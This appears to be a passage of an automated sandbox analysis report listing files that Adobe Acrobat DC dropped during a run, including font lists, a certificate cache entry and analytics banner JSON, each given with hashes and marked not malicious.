Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklkol1tfllXlE/HT8k9NNX8RolJuRdxLlGB9lQRYwpDdt:kK9o3eT8INMa8RdWBwRd
MD5:	9EBD8F75DDE6F29254411DE43BB48820
SHA1:	0AE9BBC76977BFB0CBD67337F08DF08D98634B17
SHA-256:	9E81E560C9FAD91FFC595F023420BE68D8CEC306DF27DAA5202BB3FC8549534C
SHA-512:	93A335D7A7DC148556B034818DCB9B603BE1E5862F5E7FBCB74F5615FC0855B693931F885CC8F61B5DAFC37687D47F8D7D2036E4ACA3DFA7876384AD1D310072
Malicious:	false
Preview:	p...... .........*...c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5308

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5308

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371807636479266
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJM3g98kUwPeUkwRe9:YvXKXsucvsGMbLUkee9
MD5:	F83C0CEB945E462CBDA00230947C50B1
SHA1:	CE99B407DA6D1FF2D5B3966505582CA20CCD199E
SHA-256:	FF8142067A0FD68261E5B9FE3E06531B23CF0430914A171146CE65C418856AE9
SHA-512:	D9E00A0C98A779BB50841DC68D96EA0443C95C7254560D290EB440440AF310055A7482618A186790D2B7DC1D91C5E87CAEE0670BC458EEFC409465791B1B01DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.324133787521169
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJfBoTfXpnrPeUkwRe9:YvXKXsucvsGWTfXcUkee9
MD5:	A59FF2D27719388088D0AE3A15E5F46C
SHA1:	1C4B99A9298E28A29F51111D1B39933A453ADE50
SHA-256:	E0A158E096E4C10767F7183DD75D25E29E71E6B2FD25B1BFB534CBF15C729332
SHA-512:	301D48162A62561B6D473553383967F08E340E111A0725C3B0CF11C1B3D1939357ED9773309AB6A31FE573BD83F079D392A382738F00496CE60408D937DF0687
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302840001748047
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJfBD2G6UpnrPeUkwRe9:YvXKXsucvsGR22cUkee9
MD5:	F3376ED8D591784A7F88256197CC9F21
SHA1:	72AA7835E21D1B227109E57C2C4F4686107F0AD6
SHA-256:	F84F5711498A3520263C598F312058F12E660725B63901CAD21AA2D0CCA4F9FC
SHA-512:	0D3AB17CDA22A25A320F25632A7919BE354319FD96D99A31D7580220941142224F28FF4D98616B4963A05F261A9C88B407F837D620DDD3D0A1CDD5676BC5CD3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352126501622574
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJfPmwrPeUkwRe9:YvXKXsucvsGH56Ukee9
MD5:	DB47699A2D33B76CEC4492C61A672292
SHA1:	620852BA839A6AE3E0CCD4D3D62D674D1425AD09
SHA-256:	3EB5161426EBE70215D6F32A7109BF3A6B6E1EA1DF73B14E0A0F2B0A19D6897A
SHA-512:	04AE4CCF271447EA0E6315B000F8AD472F94BCEACD406014CD788F067C4781F4B8AD89452E0AF1836C9C0581B8E191FD5E4F81E5DCE425CC7D5CDA7068019DB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689375529347289
Encrypted:	false
SSDEEP:	24:Yv6XsThpLgE9cQx8LennAvzBvkn0RCmK8czOCCSq:Yvnhgy6SAFv5Ah8cv/q
MD5:	C485C5EE93321293023D4B50F5D288C3
SHA1:	F3BC72952C184B26DD11B29AC3F29544A62B9801
SHA-256:	B09EBD99DD5849FA221243B5913A3CF136E26CB432881894C247BD2C6A380B26
SHA-512:	E3E0C4D72871D21FDE73A52A5A05CC5FE7C43392EEF17C9D12EDCAB9FE9FFB19110307FC7692EB78221C5B8E1A36C204172252952555CEFAD085A1D1414FD5D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302144966098048
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJf8dPeUkwRe9:YvXKXsucvsGU8Ukee9
MD5:	C7D57DC316910AD070DA1FF200117B1D
SHA1:	A189215D9E99B77462C2954E2139C56B84F6EBBB
SHA-256:	8FAE94C0E82E45CC7D3EF288DE04B95CAB65A6E5A108D52DB176CA649A51A7C8
SHA-512:	03F82DBE8BC49CC9AD41BA2DC849AB897444B517CBBF2B700624CC053D83D662244B88170F803D68746F136F8B01766574F1DFF30748EE94365138C66EA15650
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3047569829318775
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJfQ1rPeUkwRe9:YvXKXsucvsGY16Ukee9
MD5:	FEEF8BACB9E7017A286C1CBF8ABC68C9
SHA1:	359E8B1505A52B6459A7B6A5E80DA52DF70D7CD6
SHA-256:	C2FB4529C53C6BCFF08F41FB7BBDBDAD76BB6D71683AE9BBC9AEF5B87E5C3E0A
SHA-512:	CA3F3CD5A965E98D01CA53DBC773EE48ADC6B689E8F0CD41B82E615EBEB4379A048869BF4F45B81A4587EF7AF09F3E592356CAEC203D19A218E813390E999BEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311293567629043
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJfFldPeUkwRe9:YvXKXsucvsGz8Ukee9
MD5:	81F531362F7BF3DA6A5A1586467C51B3
SHA1:	2A5E2713B1D3DAD70E3453BE4E36D8D31C77C0BD
SHA-256:	B7BF0238DE86629BBC36197115966DDD316001EB67F7C88BDBFFB7F3A07668E1
SHA-512:	C2151C56C5990EB429B6F2FC3089C09BB78C1F9B648466CB91E4D4EC8627E266458164EC68C886F2B19EA18A2DA76DABAD4D2A837E51313977385CFBB7AF4953
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328863723239839
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJfzdPeUkwRe9:YvXKXsucvsGb8Ukee9
MD5:	5A6CFA6497C2A0B4DDC06FC05DF4A37E
SHA1:	5A88C729A69F1E6DA3985D967D1CC58F7FC2934C
SHA-256:	52532712D453CA85C424442B0BF575306E35B5C7D42D97FBD77EBFAE646C046C
SHA-512:	A3B0B27C4647B942CFA8280FB8BC6C83F1AE297730B7FB59E296CEC64FB584C9CF83B3054F3441F40091CEAFB988072A0F3B2EC87161AA5D9BC915E01F185B5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309410881897531
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJfYdPeUkwRe9:YvXKXsucvsGg8Ukee9
MD5:	26DADACD1BE4275064EDE5D67A148661
SHA1:	E2F6ED0C5E15DB9FFEE01A4769521F993111B35A
SHA-256:	875822BD93EF17AC669E268FCB24BB22971861DFE79DFC294CB7E79D1BAA0D1F
SHA-512:	A4FCD8E65D1F240853AC132DD62A984813D5C7B8CC4952460F74C54CA99616300E90AACE02E30F9936B45F9B32641A16633B97AA7B5AF8CB946412316B6FC176
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2956269392608535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJf+dPeUkwRe9:YvXKXsucvsG28Ukee9
MD5:	44EB9394B1D8E803B58AB2CB2122BB27
SHA1:	D916C5CD2A7887392D5D423ACC2286EA8C23461A
SHA-256:	22C38CEF5836D6679942BB3A85C3F30AF1BB040B56B7672311FA9D49CC3342F8
SHA-512:	832E5D44A2B61478864D7C303B19817072D43E2D7FC4CA98659D51420EF8F8458F081D653FEA42221FBE69B81BEE8FD860D590D92C0BB8531647EE2BB0F0A4D0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.292893299970725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJfbPtdPeUkwRe9:YvXKXsucvsGDV8Ukee9
MD5:	95060ECF26DDCECD432BC8C638F5B1D0
SHA1:	2B829E810FF10E4E6476F0924887B4AD802DF028
SHA-256:	BBDD894C174885674BE24DDED30A74F2179BB812540EC7509A23D31DB13860CB
SHA-512:	948211610C938B65C39E1F3C82805F70A184C53184C3549D759E352E1BEFB3946B9F61F15B28704C255CB397F60A6E8105623096828D9EAD3079E02D12C81B53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.296090500332398
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJf21rPeUkwRe9:YvXKXsucvsG+16Ukee9
MD5:	026EABD68382FD63CE819A694CFF16FB
SHA1:	6655D28F2D6850739E61C3B7F4EB8FD97C1C36A9
SHA-256:	01CE89D6B0B01F29A70D8F10F1C79CD3565FD0782C5054C47E01E34E387695EA
SHA-512:	F2CE711FC7C9BBD911BF532D900F8A7C5CE2520B5691C63EB60C3F1AC56809AE8D6F91D05AB2E0E947BC1367195EF3086DDE17C9406779CD02FC472453944403
Malicious:	false
